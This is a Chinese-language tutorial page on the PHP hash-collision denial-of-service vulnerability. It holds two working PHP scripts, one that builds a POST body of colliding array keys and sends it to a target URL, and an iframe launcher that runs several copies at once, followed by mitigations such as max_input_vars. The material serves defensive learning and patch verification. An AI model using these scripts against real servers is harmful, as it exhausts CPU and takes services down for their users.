首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP Hash 碰撞漏洞導致 DDoS 攻擊原理與實測分析

     編輯:PHP 綜合知識

⚠️ 嚴正聲明

本文內容**僅供學術研究與防禦學習使用**,嚴禁用於任何非法攻擊行為。請遵守當地法律法規,勿對未授權系統進行測試。

攻擊原理

PHP(以及 Java、Python 等語言)的雜湊表實現若未做隨機種子防護,攻擊者可構造大量鍵值碰撞的陣列參數(POST body)。伺服器解析陣列時,因所有鍵落入同一雜湊桶,導致插入/查找退化為 O(n²) 線性掃描,**耗盡 CPU 資源**,造成拒絕服務。

實測攻擊腳本(僅供防禦驗證)

1. 產生惡意 POST 資料 dos.php

<?php
$host = 'https://127.0.0.1/test.php'; // 目標端點
$data = '';
$size = pow(2, 15); // 32768
for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {
    $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data, '&'));
var_dump($ret);

function curl($url, $post, $timeout = 30) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => $timeout,
        CURLOPT_CONNECTTIMEOUT => $timeout - 5,
        CURLOPT_HTTPHEADER     => ['Expect:'],
        CURLOPT_URL            => $url,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => $post,
    ]);
    $output = curl_exec($ch);
    if ($output === false) return false;
    $info = curl_getinfo($ch);
    if ($info['http_code'] == 404) return false;
    curl_close($ch);
    return $output;
}
?>

2. 併發啟動器 ddos.php

<!DOCTYPE html>
<html><head><meta charset="gb2312"><title>DDOS Test</title></head><body>
<?php for ($i = 0; $i < 5; $i++): ?>
    <iframe src="dos.php?a=<?php echo $i; ?>" scrolling="false" frameborder="1" style="background:transparent;"></iframe>
<?php endfor; ?>
</body></html>

防禦對策

  1. 升級 PHP 版本:PHP 5.3.9+ 內建 max_input_vars 限制輸入變數總數(預設 1000)。
  2. 設定 max_input_vars:在 php.ini 中依業務需求調降,如 max_input_vars = 500。
  3. 啟用 Suhosin / Hardening Patch:提供額外的雜湊表隨機種子與請求限制。
  4. Web 應用防火牆 (WAF):攔截異常大量參數或高碰撞特徵的請求。
  5. 限制請求體大小:Nginx client_max_body_size、Apache LimitRequestBody。

驗證修補效果

修補後,相同攻擊負載應回傳 Warning: Unknown: Input variables exceeded 1000 並拒絕處理,CPU 佔用維持正常。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved